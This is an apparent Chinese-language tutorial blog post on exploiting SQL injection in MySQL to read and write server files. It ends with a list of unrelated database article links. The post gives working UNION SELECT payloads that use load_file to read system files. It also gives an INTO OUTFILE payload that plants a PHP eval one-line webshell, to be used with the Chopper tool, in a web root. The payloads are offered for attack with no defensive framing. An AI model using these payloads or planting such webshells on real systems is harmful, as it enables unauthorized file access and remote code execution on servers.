利用SQL注入漏洞实现MySQL数据库读写文件
2023-02-18 16:36:44 时间
前提必要条件
- 需要数据库开启secure_file_priv 就是将secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql配置文件mysql.ini或者叫my.ini配置文件)
- 需要知道远程目录
- 需要远程目录有写权限
- 需要mysql root权限
开启secure_file_priv 参数,操作看动图:
读取文件
读取文件肯定是要知道,文件路径的,不知道的话就找已公布的中间件配置文件地址等
union select 1,load_file('文件路径') -- bbq
例如读取虚拟机的 boot.ini 文件:
union select 1,load_file('c:\\boot.ini') -- bbq
操作看动图:
写入文件
一般就写一个菜刀之类的小马,然后用用菜刀连接
union select "木马语句",2 into outfile "上传服务器文件路径" -- bbq
例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php" -- bbq
操作看动图:
<?php @eval($_POST['123']);?> 菜刀一句话密码 123
相关文章
- SpringBoot系列之数据库初始化-jpa配置方式
- SpringBoot系列之数据库初始化-datasource配置方式
- 软件分享 | 第七期 数据库连接工具navicat15获取和安装
- 「实操」结合图数据库、图算法、机器学习、GNN 实现一个推荐系统
- 【MySQL】说透锁机制(三)行锁升表锁如何避免? 锁表了如何排查?
- [JCIM | 论文简读] Chemspace Atlas:用于药物发现的多尺度大型化学数据库
- [JCIM | 论文简读] 化学性质预测的RMG数据库
- 玩转SQLite8:运算符与表达式
- 玩转SQLite9:常用语句实践(一)
- 玩转SQLite10:常用语句实践(二)
- 玩转SQLite-11:C语言高效API之sqlite3_prepare系列函数
- 开心档-软件开发入门之MySQL 数据类型
- 开心档-软件开发入门之MySQL 数据类型
- 开心档-软件开发入门之MySQL 导出数据
- 开心档-软件开发入门之MySQL 导出数据
- 开心档-软件开发入门之MySQL 导入数据
- php数据库文件导出代码
- mysql case用法 在sql 进行分支处理
- mysql update 报错
- laravel 中查看执行的sql 语句